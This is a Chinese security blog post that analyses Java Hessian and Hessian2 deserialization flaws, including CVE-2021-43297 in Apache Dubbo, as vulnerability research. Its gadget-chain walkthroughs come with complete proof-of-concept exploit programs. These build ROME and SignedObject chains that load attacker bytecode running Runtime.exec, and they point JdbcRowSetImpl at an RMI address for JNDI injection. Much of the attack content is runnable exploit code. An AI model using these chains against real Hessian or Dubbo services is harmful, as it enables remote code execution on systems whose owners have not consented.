前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全之Hessian反序列化

Java安全之Hessian反序列化

作者头像
ph0ebus
发布2023-08-26 15:21:00
5790
发布2023-08-26 15:21:00
举报

简介

https://juejin.cn/post/6991473304011800590

Hessian是一个基于HTTP协议采用二进制格式传输的RPC服务框架,相对传统的SOAP web service,更轻捷。Hessian是Apache Dubbo在Java语言的实现,该框架还提供了Golang、Rust、Node.js 等多语言实现。Hessian 是一种动态类型、二进制序列化和 Web 服务协议,专为面向对象的传输而设计。

JDK自带的序列化方式,使用起来非常方便,只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流,另外继承的元数据也会序列化,所以导致序列化的元素较多且字节流很大,但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次,由于这种方式是JDK自带,无法被多个语言通用。

和JDK自带的序列化方式类似,Hessian采用的也是二进制协议,只不过Hessian序列化之后,字节数更小,性能更优。目前Hessian已经出到2.0版本,相较于1.0的Hessian性能更优。相较于JDK自带的序列化,Hessian的设计目标更明确。

Hessian 协议具有以下设计目标:

  • 它必须自我描述序列化类型,即不需要外部架构或接口定义。
  • 它必须与语言无关,包括支持脚本语言。
  • 它必须在一次传递中可读或可写。
  • 它必须尽可能紧凑。
  • 它必须简单,以便可以有效地测试和实施。
  • 它必须尽可能快。
  • 它必须支持 Unicode 字符串。
  • 它必须支持 8 位二进制数据,而无需转义或使用附件。
  • 它必须支持加密、压缩、签名和事务上下文信封( transaction context envelopes )。

测试环境

java version “1.8.0_71”

pom.xml

代码语言:javascript
复制
<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>
<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

示例

先写一个简单的 JavaBean 类

代码语言:javascript
复制
public class Person implements Serializable {
    private String name;
    private int age;
    private String telNumber;

    public Person() { }

    public Person(String name, int age, String telNumber) {
        this.name = name;
        this.age = age;
        this.telNumber = telNumber;
    }

    public String getName() { return name; }

    public void setName(String name) { this.name = name; }

    public int getAge() { return age; }

    public void setAge(int age) { this.age = age; }
    
    public String getTelNumber() { return telNumber; }
    
    public void setTelNumber(String telNumber) { this.telNumber = telNumber; }
}

然后用Hessian序列化反序列化一手

代码语言:javascript
复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;

public class HessianTest {
    public static void main(String[] args) throws IOException {
        Person person = new Person("ph0ebus",1,"12345678901");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(person);
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        System.out.println(hessianInput.readObject());
    }
}

可以发现和原生jdk序列化反序列化的使用方法很类似

利用原理

Java 的Map对象在进行 Hessian 反序列化过程中,会调用com.caucho.hessian.io.Deserializer#readMap()方法来恢复对象,其中会调用HashMap#put(),这里就存在这安全隐患。

跟进HessianInput#readObject()

代码语言:javascript
复制
public Object readObject() throws IOException {
        int tag = this.read();
        String type;
        int data;
        switch (tag) {
            // ...
            case 77:
                type = this.readType();
                return this._serializerFactory.readMap(this, type);
            // ...
        }
}

可以看到它会读取字节流的第一个字节作为判断依据,查阅文档可以发现字符M代表着类型HashMap

从而调用readMap()方法

代码语言:javascript
复制
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
    Deserializer deserializer = this.getDeserializer(type);
    if (deserializer != null) {
        return deserializer.readMap(in);
    } else if (this._hashMapDeserializer != null) {
        return this._hashMapDeserializer.readMap(in);
    } else {
        this._hashMapDeserializer = new MapDeserializer(HashMap.class);
        return this._hashMapDeserializer.readMap(in);
    }
}

这里需要进到最后一个else语句,调用MapDeserializer#readMap()

代码语言:javascript
复制
public Object readMap(AbstractHessianInput in) throws IOException {
    Object map;
    if (this._type == null) {
        map = new HashMap();
    } else if (this._type.equals(Map.class)) {
        map = new HashMap();
    } else if (this._type.equals(SortedMap.class)) {
        map = new TreeMap();
    } else {
        try {
            map = (Map)this._ctor.newInstance();
        } catch (Exception var4) {
            throw new IOExceptionWrapper(var4);
        }
    }

    in.addRef(map);

    while(!in.isEnd()) {
        ((Map)map).put(in.readObject(), in.readObject());
    }

    in.readEnd();
    return map;
}

可以看到能够调用HashMap#put()

利用链

ROME 之 JdbcRowSetImpl 链

调用 HashMap#put() 会将 Map 中的 key 与 value 传入,这将会触发 key 的hashCode()方法,这个在URLDNS链有分析,接着就可以触发ROME链调用任意类getter方法,这里是JdbcRowSetImpl#getDatabaseMetaData()

Poc

代码语言:javascript
复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class JdbcRowSetImplTest {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "rmi://localhost:1099/aa";
        jdbcRowSet.setDataSourceName(url);

        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");
        HashMap map = new HashMap();
        map.put(objectBean, "");
        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }

    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

RMI服务端的代码不再赘述

既然ROME链可以用,那ROME链的TemplatesImpl利用链能否利用呢?

尽管调用链看上去是毫无破绽的,但这里需要注意Hessian序列化的特性,它不会序列化transient关键字修饰的属性

代码语言:javascript
复制
private transient TransformerFactoryImpl _tfactory = null;

而 TemplatesImpl 利用链的关键属性 _tfactory 被该关键词修饰,导致反序列化后对象的_tfactory属性值为null,因为TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() 如果是null会出错,因此无法直接利用此链

But,如果不用Hessian反序列化呢?那不就可以利用咯!这就得用到二次反序列化大法了,这里先简单介绍一种,后边再来总结。

ROME+SignObject二次反序列化

java.security.SignedObject类有一个令人满意的getter方法getObject()

代码语言:javascript
复制
public Object getObject()
        throws IOException, ClassNotFoundException
{
    // creating a stream pipe-line, from b to a
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

content通过构造方法可控,这里就可以调用任意字节流的原生反序列化,并返回反序列化后的对象,接下来就是ROME反序列化链了,这里以BadAttributeValueExpException触发ToStringBean#toString()为例

Poc

代码语言:javascript
复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SignObjectTest2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        // 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("EvilTest");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置EvilTest的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
        byte[] code = payload.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_name","ph0ebus");
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_class",null);

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException,"val",bean);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        // 下面是常规构造
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
        ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");

        HashMap map = new HashMap();
        map.put(objectBean2, "");

        setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

这条调用链还可以缩短一手

注意ToStringBean#toString()这个方法,我们前面只利用了可以调用任意类getter方法这个点,但调用getter方法后返回的对象还调用了printProperty()方法

代码语言:javascript
复制
private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);

    try {
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
        if (pds != null) {
            for(int i = 0; i < pds.length; ++i) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                    this.printProperty(sb, prefix + "." + pName, value);
                }
            }
        }
    } catch (Exception var8) {
        sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
    }

    return sb.toString();
}

跟进一手printProperty()方法,发现经过对象类型判断后可以调用到该对象的toString()方法

代码语言:javascript
复制
private void printProperty(StringBuffer sb, String prefix, Object value) {
    if (value == null) {
        sb.append(prefix).append("=null\n");
    } else if (value.getClass().isArray()) {
        this.printArrayProperty(sb, prefix, value);
    } else {
        Iterator i;
        String cPrefix;
        Object cValue;
        String[] tsInfo;
        Stack stack;
        String s;
        if (value instanceof Map) {
            // ...
        } else if (value instanceof Collection) {
            // ...
        } else {
            String[] tsInfo = new String[]{prefix, null};
            Stack stack = (Stack)PREFIX_TL.get();
            stack.push(tsInfo);
            String s = value.toString();
            stack.pop();
            if (tsInfo[1] == null) {
                sb.append(prefix).append("=").append(s).append("\n");
            } else {
                sb.append(s);
            }
        }
    }

}

结合SignObject#getObject(),我们就可以调用满足条件的可控对象的toString()方法,恰好ToStringBean类可以通过上面的类型判断,于是链子就出来了

Poc

代码语言:javascript
复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SignObjectTest {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        // 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("EvilTest");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置EvilTest的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
        byte[] code = payload.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "whatever");
        setFieldValue(obj, "_class", null);
        setFieldValue(obj, "_bytecodes", new byte[][]{code});

        ToStringBean toStringBean = new ToStringBean(Templates.class, obj);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(toStringBean, privateKey, signingEngine);

        // 下面是常规构造
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
        ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");

        HashMap map = new HashMap();
        map.put(objectBean2, "");

        setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }
}
SpringPartiallyComparableAdvisorHolder链

前面都是利用HashMap#put()方法调用到hashCode()方法进行利用,这里换一个攻击面,put()方法会调用putVal()方法,而putVal方法可以调用任意类的equals方法,从而引发安全漏洞,具体前面ROME反序列化的XString链有所介绍

依赖于springframework

首先要调用到equals方法需要两对数据的key的hashcode相等,且key不同才能进行比较操作,之前是利用HashMap构造,现在有了springframework我们换一个类构造,这个类就是org.springframework.aop.target.HotSwappableTargetSource

跟进HotSwappableTargetSource#hashCode()

代码语言:javascript
复制
public int hashCode() {
    return HotSwappableTargetSource.class.hashCode();
}

可以发现其hashCode值与key无关,于是调用HotSwappableTargetSource#equals()

代码语言:javascript
复制
public boolean equals(Object other) {
    return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}

这里this.target是构造方法传入的可控对象,也就是可以调用任意类的equals方法,那么就可以使用XString链调用任意类的toString()方法了

代码语言:javascript
复制
public boolean equals(Object obj2)
{

if (null == obj2)
  return false;

  // In order to handle the 'all' semantics of
  // nodeset comparisons, we always call the
  // nodeset function.
else if (obj2 instanceof XNodeSet)
  return obj2.equals(this);
else if(obj2 instanceof XNumber)
    return obj2.equals(this);
else
  return str().equals(obj2.toString());
}

分析到这里,我们回到了一个经典问题,如何通过调用任意类的toString方法进行恶意利用?

这里通过springframework的类构造一条链子出来,最终实现 JNDI 注入

代码语言:javascript
复制
lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)

跟进org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString

代码语言:javascript
复制
public String toString() {
    StringBuilder sb = new StringBuilder();
    Advice advice = this.advisor.getAdvice();
    sb.append(ClassUtils.getShortName(advice.getClass()));
    sb.append(": ");
    if (this.advisor instanceof Ordered) {
        sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
    }

    if (advice instanceof AbstractAspectJAdvice) {
        AbstractAspectJAdvice ajAdvice = (AbstractAspectJAdvice)advice;
        sb.append(ajAdvice.getAspectName());
        sb.append(", declaration order ");
        sb.append(ajAdvice.getDeclarationOrder());
    }

    return sb.toString();
}

继续跟进AspectJPointcutAdvisor#getOrder()

代码语言:javascript
复制
public int getOrder() {
    return this.order != null ? this.order : this.advice.getOrder();
}

这里this.advice根据其构造方法,是AspectJAroundAdvice的对象,继续跟进AspectJAroundAdvice#getOrder()

代码语言:javascript
复制
public int getOrder() {
    return this.aspectInstanceFactory.getOrder();
}

这里this.aspectInstanceFactory是AspectInstanceFactory接口类,而BeanFactoryAspectInstanceFactory是该接口的实现类,因此可以调用到BeanFactoryAspectInstanceFactory#getOrder()

代码语言:javascript
复制
public int getOrder() {
    Class<?> type = this.beanFactory.getType(this.name);
    if (type != null) {
        return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, Integer.MAX_VALUE);
    } else {
        return Integer.MAX_VALUE;
    }
}

这里可以调用SimpleJndiBeanFactory#getType()->SimpleJndiBeanFactory#doGetType()->SimpleJndiBeanFactory#doGetSingleton()

代码语言:javascript
复制
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
    synchronized(this.singletonObjects) {
        Object jndiObject;
        if (this.singletonObjects.containsKey(name)) {
            jndiObject = this.singletonObjects.get(name);
            if (requiredType != null && !requiredType.isInstance(jndiObject)) {
                throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
            } else {
                return jndiObject;
            }
        } else {
            jndiObject = this.lookup(name, requiredType);
            this.singletonObjects.put(name, jndiObject);
            return jndiObject;
        }
    }
}

然后进入JndiLocatorSupport#lookup()从这个方法可以调用到关键的JndiTemplate#lookp()

代码语言:javascript
复制
public Object lookup(final String name) throws NamingException {
    if (this.logger.isDebugEnabled()) {
        this.logger.debug("Looking up JNDI object with name [" + name + "]");
    }

    return this.execute(new JndiCallback<Object>() {
        public Object doInContext(Context ctx) throws NamingException {
            Object located = ctx.lookup(name);
            if (located == null) {
                throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
            } else {
                return located;
            }
        }
    });
}

终于到达 JNDI 注入处InitialContext#lookup()

链子分析结束!

Poc待完善…

Hessian2

对于 Hessian2 协议,Java 的HashMap对象经过序列化后首位字节由M变为了H,对应 ascii 码 72,其他的区别不大

pom.xml

代码语言:javascript
复制
<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-serialization-hessian2</artifactId>
    <version>2.7.14</version>
    <scope>test</scope>
</dependency>

示例

代码语言:javascript
复制
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Hessian2Test {
    public static void main(String[] args) throws IOException {
        Person person = new Person("ph0ebus", 19, "12345678901");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(person);
        hessian2Output.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        System.out.println(hessian2Input.readObject());
        hessian2Input.close();
    }
}
Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)

字符串和对象拼接导致隐式触发了该对象的 toString 方法, 从而引发后续一系列的利用方式

问题主要出在 Hessian2Input 的 expect 方法

代码语言:javascript
复制
protected IOException expect(String expect, int ch) throws IOException {
    if (ch < 0) {
        return this.error("expected " + expect + " at end of file");
    } else {
        --this._offset;

        try {
            int offset = this._offset;
            String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
            Object obj = this.readObject();
            return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
        } catch (Exception var6) {
            log.log(Level.FINE, var6.toString(), var6);
            return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
        }
    }
}

那么就要关注哪些方法调用了这个expect 方法,可以发现蛮多read打头的方法都调用了,那就找一条能用的就行,这里选用的是readString()

代码语言:javascript
复制
public String readString() throws IOException {
    int tag = this.read();
    int ch;
    switch (tag) {
        case 0:
        case 1:
        case 2:
        case 3:
        case 4:
        
        // ...
            
        case 31:
            this._isLastChunk = true;
            this._chunkLength = tag - 0;
            this._sbuf.setLength(0);

            while((ch = this.parseChar()) >= 0) {
                this._sbuf.append((char)ch);
            }

            return this._sbuf.toString();
        case 32:
        case 33:
        case 34:
        case 35:
        case 36:
        case 37:
        case 38:
        case 39:
        case 40:
        case 41:
        case 42:
        case 43:
        case 44:
        case 45:
        case 46:
        case 47:
        case 52:
        case 53:
        case 54:
        case 55:
        case 64:
        case 65:
        case 66:
        case 67:
        case 69:
        case 71:
        case 72:
        case 74:
        case 75:
        case 77:
        case 79:
        case 80:
        case 81:
        case 85:
        case 86:
        case 87:
        case 88:
        case 90:
        case 96:
        case 97:
        case 98:
        
        // ...
            
        case 127:
        default:
            throw this.expect("string", tag);
        case 48:
        case 49:
            
        // ...
    }
}

这里代码截取了较关键的一部分,可以看出由于java中switch语句中case…:标签语法采用的是穿透语义(fall-through semantics),也就是如果case控制的语句体后面不写break,不判断下一个case值,向下运行,直到遇到break,或者整体switch语句结束

也就是说如果tag满足case 32:及以下到default:的任何一个条件或者完全不满足任何一个default:之前的条件语句,就能调用到expect()方法

查看哪里调用了readString(),可以找到readObjectDefinition(),恰好这个方法当tag等于67时会被readObject()调用,那这里就连起来了

代码语言:javascript
复制
private void readObjectDefinition(Class<?> cl) throws IOException {
    String type = this.readString();
    int len = this.readInt();
    SerializerFactory factory = this.findSerializerFactory();
    Deserializer reader = factory.getObjectDeserializer(type, (Class)null);
    Object[] fields = reader.createFields(len);
    String[] fieldNames = new String[len];

    for(int i = 0; i < len; ++i) {
        String name = this.readString();
        fields[i] = reader.createField(name);
        fieldNames[i] = name;
    }

    ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames);
    this._classDefs.add(def);
}

接下来就是如何让tag为67了,可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67

Poc

代码语言:javascript
复制
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.sql.SQLException;

public class CVE_2021_43297 {
    public static void main(String[] args) throws IOException, SQLException {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "rmi://localhost:1099/aa";
        jdbcRowSet.setDataSourceName(url);
        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(bean);
        hessian2Output.close();
        byte[] data = byteArrayOutputStream.toByteArray();
        byte[] poc = new byte[data.length + 1];
        System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
        System.arraycopy(data, 0, poc, 1, data.length);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        System.out.println(hessian2Input.readObject());
        hessian2Input.close();
    }
}

这样就可以调用任意类的toString()方法

参考链接: Java安全-Hessian | jiang Hessian CVE-2021-43297 & D3CTF 2023 ezjava | X1r0z Hessian 反序列化及相关利用链 | Longofo@知道创宇404实验室 被我忘掉的Hessian反序列化 | Boogipop Hessian反序列化机制与利用链构造 | M1sery

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-08-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 测试环境
  • 示例
  • 利用原理
  • 利用链
    • ROME 之 JdbcRowSetImpl 链
      • ROME+SignObject二次反序列化
        • SpringPartiallyComparableAdvisorHolder链
        • Hessian2
          • Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档